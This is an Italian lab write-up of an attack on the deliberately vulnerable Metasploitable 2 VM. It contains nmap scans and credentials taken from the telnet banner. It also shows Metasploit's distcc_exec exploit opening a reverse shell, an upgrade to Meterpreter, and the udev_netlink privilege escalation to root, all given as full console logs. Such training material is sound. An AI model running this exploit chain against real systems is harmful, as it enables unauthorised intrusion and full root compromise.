## Config ip

Kali

```
Open                                                    /etc/network
 1 # This file describes the network interfaces available on your system
 2 # and how to activate them. For more information, see interfaces(5).
 3
 4 source /etc/network/interfaces.d/*
 5
 6 # The loopback network interface
 7 auto lo
 8 iface lo inet loopback
 9
10 auto eth0
11 iface eth0 inet static
12 address 192.168.1.25/24
13 gateway 192.168.1.1
```

Meta

```
  GNU nano 2.0.7          File: /etc/network/interfaces

# This file describes the network interfaces available on your
# and how to activate them. For more information, see interfac

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface

auto eth0
iface eth0 inet static
address 192.168.1.40
netmask 255.255.255.0
network 192.168.1.255
gateway 192.168.1.1
```

```
┌──(alessio㉿kali)-[~]
└─$ ping 192.168.1.40
PING 192.168.1.40 (192.168.1.40) 56(84) bytes of data.
64 bytes from 192.168.1.40: icmp_seq=1 ttl=64 time=0.492 ms
64 bytes from 192.168.1.40: icmp_seq=2 ttl=64 time=0.484 ms
64 bytes from 192.168.1.40: icmp_seq=3 ttl=64 time=0.490 ms
^C
```

Scan di meta

```
┌──(alessio㉿kali)-[~]
└─$ nmap -p- -T5 192.168.1.40
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-07 02:22 CST
Nmap scan report for 192.168.1.40
Host is up (0.0014s latency).
Not shown: 65505 closed tcp ports (conn-refused)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  msgsrvr
36544/tcp open  unknown
45312/tcp open  unknown
53381/tcp open  unknown
53919/tcp open  unknown
```

Scan della versione di telnet

```
┌──(alessio㉿kali)-[~]
└─$ nmap -p 23 -sV -T5 192.168.1.40
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-07 02:25 CST
Nmap scan report for 192.168.1.40
Host is up (0.00056s latency).

PORT   STATE SERVICE VERSION
23/tcp open  telnet  Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.32 seconds
```

Cerco l'exploit

```
34  auxiliary/scanner/telnet/telnet_login
35  auxiliary/scanner/telnet/telnet_version
```

```
msf6 auxiliary(scanner/telnet/telnet_login) > use 35
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   PASSWORD                   no        The password for the specified username
   RHOSTS                     yes       The target host(s), see https://github.co
   RPORT     23               yes       The target port (TCP)
   THREADS   1                yes       The number of concurrent threads (max one
   TIMEOUT   30               yes       Timeout for the Telnet probe
   USERNAME                   no        The username to authenticate as


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.40
rhosts => 192.168.1.40
```

```
msf6 auxiliary(scanner/telnet/telnet_version) > run
[+] 192.168.1.40:23       - 192.168.1.40:23 TELNET _                                                  \x0a _ _
_/ _` | '_ \| |/ _ \ __) |\x0a| | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ \x0a|_| |_| |
\x0a\x0a\x0aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact: msfdev[at]me
[*] 192.168.1.40:23       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >
```

Ho trovato nel banner le credenziali

Provo ad accedere

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40

Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.
                                _                  _       _     _
                               | |                | |     | |   | |
 _ __ ___   ___ | |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___ \
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| __/ _` | '_ \| |/ _ \ __) |
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
                            |_|

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Mar  7 04:22:33 EST 2023 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```

Provo un po di comandi

```
msfadmin@metasploitable:~$ pwd
/home/msfadmin
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:e0:64:8a brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.40/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fee0:648a/64 scope link
       valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(
plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
msfadmin@metasploitable:~$
```

## Privilege escalation

Procedimento:

Creare una sessione senza privilegi root:

```
msf6 exploit(unix/misc/distcc_exec) > run

[*] Started reverse TCP double handler on 192.168.1.25:4444
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo mdDcXDkmCbNb9zC6;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "mdDcXDkmCbNb9zC6\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 4 opened (192.168.1.25:4444 → 192.168.1.40:36005) at 2023-03-07 08:35:12 -0600
```

```
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

Ora abbiamo una sessione in cui siamo deamon

```
Background session 4? [y/N]
[*] Backgrounding foreground process in the shell session
^Z
Background session 4? [y/N]  y
msf6 exploit(unix/misc/distcc_exec) > sessios
[-] Unknown command: sessios
msf6 exploit(unix/misc/distcc_exec) > sessions

Active sessions
===============

  Id  Name  Type                  Information                      Connection
  --  ----  ----                  -----------                      ----------
  2         meterpreter x86/linux  root @ metasploitable.localdomain  192.168.1.25:4433 → 192.168.1.40:39501 (19
                                                                     2.168.1.40)
  3         shell cmd/unix                                          192.168.1.25:36215 → 192.168.1.40:6200 (19
                                                                     2.168.1.40)
  4         shell cmd/unix                                          192.168.1.25:4444 → 192.168.1.40:36005 (19
                                                                     2.168.1.40)
```

Cerchiamo l'exploit di udev

```
   #  Name                           Disclosure Date  Rank   Check  Description
   -  ----                           ---------------  ----   -----  -----------
   0  exploit/linux/local/udev_netlink  2009-04-16       great  No     Linux udev Netlink Local Privilege Escalatio
n
```

Se la usiamo direttamente sulla sessione in cui siamo deamon da questo errore

```
msf6 exploit(linux/local/udev_netlink) > set session 4
session ⇒ 4
msf6 exploit(linux/local/udev_netlink) > set netlinkpid 2373
netlinkpid ⇒ 2373
msf6 exploit(linux/local/udev_netlink) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session architecture: cmd
[!]  * incompatible session platform: unix
[*] Started reverse TCP handler on 192.168.1.25:4444
[+] Found netlink pid: 2373
[*] Writing payload executable (207 bytes) to /tmp/xhxSYqPAZH
[-] Exploit failed: RuntimeError Can't find command on the victim for writing binary data
[*] Exploit completed, but no session was created.
```

Bisogna fare quindi un upgrade della sessione con meterpreter

Riduco il numero di sessioni e faccio l'upgrade della sessione deamon

```
Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  4         shell cmd/unix               192.168.1.25:4444 → 192.168.1.40:36005 (192.168.1.40)

msf6 exploit(linux/local/udev_netlink) > session 4
[-] Unknown command: session
msf6 exploit(linux/local/udev_netlink) > session -i 4
[-] Unknown command: session
msf6 exploit(linux/local/udev_netlink) > sessions -i 4
[*] Starting interaction with 4 ...

whoami
daemon
^Z
Background session 4? [y/N]  y
msf6 exploit(linux/local/udev_netlink) > sessions -u 4
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [4]
```

```
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.25:4433
[*] Sending stage (1017704 bytes) to 192.168.1.40
[*] Meterpreter session 6 opened (192.168.1.25:4433 → 192.168.1.40:34149) at 2023-03-07 09:18:51 -0600
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 exploit(linux/local/udev_netlink) > sessions 6
[*] Starting interaction with 6 ...
```

Mi crea quindi la nuova sessione di meterpreter, Vedo che la sessione 6 è ancora deamon

```
Active sessions
===============

  Id  Name  Type                   Information                        Connection
  --  ----  ----                   -----------                        ----------
  4         shell cmd/unix                                            192.168.1.25:4444 → 192.168.1.40:36005 (
                                                                      192.168.1.40)
  6         meterpreter x86/linux  daemon @ metasploitable.localdomain 192.168.1.25:4433 → 192.168.1.40:34149 (
                                                                      192.168.1.40)

msf6 exploit(linux/local/udev_netlink) > show options

Module options (exploit/linux/local/udev_netlink):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   NetlinkPID  2373             no        Usually udevd pid-1.  Meterpreter sessions will autodetect
   SESSION     2                yes       The session to run this module on


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.25     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux x86



View the full module info with the info, or info -d command.

msf6 exploit(linux/local/udev_netlink) > set session 6
session => 6
msf6 exploit(linux/local/udev_netlink) > run

[*] Started reverse TCP handler on 192.168.1.25:4444
[+] Found netlink pid: 2373
[*] Writing payload executable (207 bytes) to /tmp/wJUgrpLZAg
[*] Writing exploit executable (1879 bytes) to /tmp/opDXlwcHlT
[*] chmod'ing and running it ...
[*] Sending stage (1017704 bytes) to 192.168.1.40
[*] Meterpreter session 7 opened (192.168.1.25:4444 → 192.168.1.40:45420) at 2023-03-07 09:21:31 -0600

meterpreter > getuid
Server username: root
meterpreter >
```

Dopo aver usato l'exploit ricontrollo l'useri id e effettivamente siamo ora root

```
Active sessions
===============

  Id  Name  Type                   Information                        Connection
  --  ----  ----                   -----------                        ----------
  4         shell cmd/unix                                            192.168.1.25:4444 → 192.168.1.40:36005 (
                                                                      192.168.1.40)
  6         meterpreter x86/linux  daemon @ metasploitable.localdomain 192.168.1.25:4433 → 192.168.1.40:34149 (
                                                                      192.168.1.40)
  7         meterpreter x86/linux  root @ metasploitable.localdomain  192.168.1.25:4444 → 192.168.1.40:45420 (
                                                                      192.168.1.40)
```